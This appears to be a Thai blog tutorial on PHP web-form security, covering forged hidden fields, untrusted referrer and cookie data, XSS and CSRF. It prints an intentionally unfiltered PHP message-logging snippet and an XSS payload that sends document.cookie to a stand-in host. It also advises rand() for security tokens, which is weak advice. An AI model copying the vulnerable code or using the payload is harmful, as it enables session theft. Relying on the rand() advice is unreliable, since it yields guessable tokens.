เพิ่มความปลอดภัยให้กับ PHP ของคุณ (ตอนที่ 3 : ข้อมูลอันตรายที่มากับ Form บนเว็บ)
ในบทนี้เราจะมาดูกันว่า form ที่เราใช้งานกันบทเว็บนั้น จะอันตรายแค่ไหนถ้าหากไม่ได้รับการดูแลดีพอ
สำหรับบทความนี้ ก็จะพูดถึงอันตรายที่ตามมากับการเชื่อใจข้อมูลจากผู้ใช้มากเกินไป ทำให้ผู้ไม่หวังดีเล่นกลเล็กน้อย ก็สามารถเข้าไปครอบครองเว็บได้ พร้อมทั้งคำแนะนำในการแก้ปัญหารูโหว่เหล่านั้น
การแก้ไขฟอร์ม
ในเมื่อฟอร์มเป็นโค๊ด html แบบหนึ่ง การที่จะถูกเซฟลงเครื่อง แล้วปลอมแปลงก็คงเป็นเรื่องง่ายทีเดียว เพราะฉะนั้น การที่จะเพิ่มช่องให้ผู้ใช้ใส่ข้อมูล ก็ต้องคำนึงว่าข้อมูลมีความสำคัญแค่ไหน เช่นการใส่ข้อมูลราคาสินค้าลงใน hidden form ธรรมดาก็คงหวานหมูเลย เซฟไฟล์ลงเครื่องแล้วเปลี่ยนราคาซะเลย ง่ายดี คิดให้ดีๆ ก่อนที่จะส่งข้อมูลอะไรไปใช้ผู้ใช้ละกัน
แต่ถ้าหากข้อมูลบางสิ่งบางอย่างมันหลีกเลี่ยงไม่ได้ เราก็จะต้องมีระบบป้องกันอีกชั้นนึงบน server ของเราเอง เป็นการตรวจสอบข้อมูลที่ได้รับเข้ามา ว่าถูกต้องหรือไม่
HTTP Requests
HTTP Request ปกติแล้วจะเป็นการรวมข้อมูลที่ส่งออกจากผู้ใช้ไปยังเครื่องแม่ข่ายของเว็บ ซึ่งแน่นอนเข้าข่ายเรื่องของการไม่ควรไว้ใจข้อมูลที่ได้มาจากผู้ใช้งาน อย่างเช่น บางคนอาจจะทำการตรวจสอบ referrer (ตรวจสอบว่าผู้ใช้เปิดเว็บขึ้นมาจาก URL อะไร) ทีนี้ข้อมูล referer ก็มาจากเครื่องของผู้ใช้เอง ก็หวานหมูสำหรับผู้ไม่หวังดีอีก เพราะเค้าสามารถแก้ไขข้อมูล referer ให้กลายเป็นข้อมูลที่ถูกต้องได้ อีกตัวอย่างนึงก็คือการใช้ cookie เพราะข้อมูลภายใน cookie ก็ถูกส่งไปมาระหว่างเครื่องเหมือนกัน ซึ่งผู้ไม่หวังดีสามารถดักจับข้อมูล แล้วจัดการเปลี่ยนมันได้อย่างง่ายดาย
พูดได้อย่างเดียวคือ จงระวัง ข้อมูลใดๆ ก็ตาม ถึงแม้ว่ามันจะหน้าซื่อแค่ไหน ถ้าไม่ได้มันมาจากแหล่งที่เชื่อที่ได้จริงๆ ก็ควรนำมันมาตรวจสอบซะก่อน ทางทีดีคือควรรับข้อมูลจากผู้ใช้มาให้น้อยที่สุด
Cross-Site Scripting
คงหนีไม่พ้นการตรวจสอบข้อมูลที่ได้มาจากผู้ใช้อีกนั่นแหละ การใช้ Cross-Site Scripting ก็เหมือนกับการที่เราอนุญาตให้ผู้ใช้เรียกไฟล์จากภายนอกระบบได้ ดังตัวอย่าง
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}");
fclose($fp);
}
readfile('./messages.txt');
?>เอาอีกแล้ว เล่นรับข้อมูลจากผู้ใช้เข้ามา แล้วก็ไม่กรองมันเลย ถ้าเกิดมีคนหวังดีมาก ส่งสคริปต์เช่น..
<script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script>
ทีนี้ก็เสร็จมัน... ผู้บุกรุกสามารถใส่สคริปต์เข้าไปในหน้าที่เปิดอยู่ได้ ถ้าหากมีผู้ใช้คนอื่นบังเปิญเปิดเข้ามาในหน้านี้ เค้าก็จะถูก redirect ไปยังเว็บไซต์อีกที่นึง พร้อมทั้งขโมย cookie ของคุณไปเก็บไว้ที่นู่นด้วย วิธีง่ายๆในการป้องกันสำหรับปัญหานี้ก็คือการใช้ฟังค์ชั่น htmlentities() เพื่อกรองตัวอักษรจำพวก < > ฯลฯ ออกไป มาดูหลักการสำคัญๆในการแก้ปัญหา Cross-Site Scripting กันดีกว่าครับผม
แก้ปัญหา Cross-Site Scripting
- กลั่นกรองข้อมูลให้ดี ย้ำแล้วย้ำอีก แต่ไม่ย้ำก็ไม่ได้ ว่าอย่าเชื่อใจข้อมูลที่ได้มาจากผู้ใช้
- ใช้ฟังค์ชั่นที่ติดมากับ PHP ตัว PHP เองก็ออกแบบฟังค์ชั่นหลายๆอย่างมาสำหรับป้องกันการใช้โค๊ดอย่างผิดลักษณะ ฟังค์ชั่นเหล่านี้ก็มี htmlentities() ดังที่กล่าวไว้ข้างต้น strip_tags() utf8_decode()
Cross-Site Request Forgeries การเล็งหาเป้าหมายสำคัญ
หลายๆ ท่านคงรู้กันดีว่าการเป็น admin หรือทีมงานของเว็บใดเว็บหนึ่งนั้น จะเจอปัญหาได้ไม่เว้นแต่ละวัน... brute-force เอย spam เอย ทำเอาให้หัวปั่นกัน
การออกแบบเว็บก็จะคำนึงถึงเรื่องนี้ด้วยครับ เพราะแน่นอนว่าบุคคลที่ได้รับสิทธิพิเศษเหล่านี้จะถูกจ้องเล่นงานเป็นพิเศษ ใครๆ ต่างก็คิดว่าข้อมูลของเข้าเหล่านั้นจะต้องเป็นของสำคัญ ดั่งกุญแจที่เปิดเข้าไปสู่ความหายนะของระบบ (ประตูเข้าไปยัง back-end ของระบบ?) เพราะฉะนั้น ระวังตัวไว้ให้ดี
คำแนะนำเกี่ยวกับ Cross-Site Request Forgeries
- ความปลอดภัยแลกกับสะดวกสบาย บางที่เราก็ต้องยอมเหนื่อยบ้างเพื่อให้ได้สิ่งที่ดีที่สุด ลองดูสิว่า ข้อมูลต่างๆ แม้กระทั่ง session กับ cookie มีความปลอดภัยแค่ไหน ผู้คนทั่วไปสามารถปลอมแปลงข้อมูลได้หรือเปล่า ซึ่งเป็นที่มาของการใช้ random value รวมไปกับ cookie ด้วย เวลาที่ผู้บุกรุกพยายามจะปลอมแปลงค่าใน cookie ก็จะต้องเผชิญกับ random value ซึ่งถ้าเค้าไม่ได้รับมาจากผู้ใช้ที่มีสิทธิในการเข้าถึงจริงๆ เค้าก็จะไม่สามารถทำให้ cookie ปลอมของเค้า valid ขึ้นมาได
Random value ที่ผมพูดถึงนี่ก็คือการใช้ฟังค์ชั่นจำพวก rand() ซึ่งเป็นการสุ่มตัวเลขขึ้นมา แล้วก็นำตัวเลขนี้ใส่เข้าไปกับ cookie เวลาที่ผู้บุกรุกจะปลอมแปลง cookie เช่น การเปลี่ยน userid ของเค้า จากบุคคลทั่วไปให้เป็นของ admin เค้าก็จะไม่มี random value ที่ถูกต้องของ admin เค้าก็จะเข้าไปเป็น admin ได้ยากขึ้น
- แยกแยะระบบ front-end กับ back-end ให้ออกจากกัน หมายถึงการแยกระบบสำหรับบุคคลทั่วไป และสำหรับการจัดการระบบออกจากกัน ถ้าเป็นไปได้ คุณอาจจะทำให้ระบบ back-end อยู่ใน intranet ไปเลย เป็นการป้องกันไม่ให้บุคคลภายนอกเข้าถึงส่วน admin ได้
การแก้ปัญหาอันนี้รวมไปถึงการเตือนให้เหล่าทีมงานของเว็บไซต์ทราบด้วยว่า ไม่ควรจะใช้ password เดียวกันสำหรับการเข้าถึงหน้าทั่วๆไป และหน้าสำหรับจัดการข้อมูลภายในเว็บ เผื่อว่าผู้บุกรุกพบเจอ password ที่ใช้ในหน้าทั่วไป แต่เค้าก็จะไม่สามารถเข้าถึงส่วนที่สำคัญจริงๆ ของเว็บได้
ตอนต่อไป
บทความเริ่มเข้มข้นขึ้นเรื่อยๆแล้วครับผม บทต่อไปผมจะมาพูดถึงการระมัดระวังเกี่ยวกับ Database ครับผม ซึ่งเป็นส่วนที่มีจุดอ่อนมากที่สุดเลย เรียกได้ว่า DB เป็นจุดศูนย์กลางของข้อมูลทั้งหมด ถ้าหากบุคคลที่ไม่หวังดีสามารถเข้าถึงระบบฐานข้อมูลได้ ก็เหมือนกับการครองโลกดีๆนั่นแหละ
ยอดเยี่ยมครับ บทความดี
Post new comment